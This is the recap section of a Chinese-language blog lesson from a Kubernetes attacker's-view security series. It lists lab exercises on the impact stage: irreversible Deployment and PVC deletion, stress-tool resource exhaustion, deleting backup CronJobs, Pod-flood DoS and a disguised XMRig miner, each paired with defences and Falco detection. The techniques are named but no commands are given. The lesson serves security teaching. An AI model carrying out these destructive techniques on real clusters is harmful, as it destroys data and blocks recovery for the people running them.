  • [ ] 能解釋 kubectl delete deployment + PVC 為何造成不可逆損害
  • [ ] 成功用 stress 工具觸發節點資源耗盡並觀察效果
  • [ ] 理解刪除備份 CronJob 如何阻止災難恢復
  • [ ] 知道 ResourceQuota 和 LimitRange 如何防止 Resource Bomb
  • [ ] 能辨識偽裝成 monitoring-agent 的挖礦程式(S35)
  • [ ] 理解 Impact 階段是攻擊者的最終目的(破壞/勒索/挖礦)
  • [ ] 觀察到 Falco 偵測資源刪除和挖礦行為的告警

本日小結

你完成了什麼

  • [x] 刪除 Deployment + PVC 造成不可逆資料破壞(S31)
  • [x] 用 stress 工具耗盡節點 CPU/Memory(S32 Resource Bomb)
  • [x] 刪除備份 CronJob 阻止災難恢復(S33)
  • [x] 部署大量 Pod 進行網路 DoS(S34)
  • [x] 觀察偽裝成 monitoring-agent 的 XMRig 挖礦(S35)
  • [x] 觀察 Falco 偵測資源刪除和挖礦行為

關鍵帶走

  1. 資料破壞 S31:一條 kubectl delete 就能造成不可逆損害——RBAC + 備份是唯一的防線
  2. Resource Bomb S32:stress 工具耗盡節點資源——ResourceQuota + LimitRange 雙層防禦
  3. 阻止恢復 S33:刪除備份讓災難復原失效——異地備份 + 不可變儲存
  4. 網路 DoS S34:大量 Pod 消耗網路資源——NetworkPolicy + Pod 限額
  5. 挖礦劫持 S35:偽裝成監控工具的挖礦程式——映像白名單 + CPU 監控

下一步

明天 Day 21 從防禦角度回應——ResourceQuota、LimitRange、PDB、備份策略。



上一篇
Day 19|橫向移動 + 雲端穿透:竊取 Token 跨 Namespace 攻擊
下一篇
Day 21|防禦影響:ResourceQuota + LimitRange + PDB + 備份策略
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言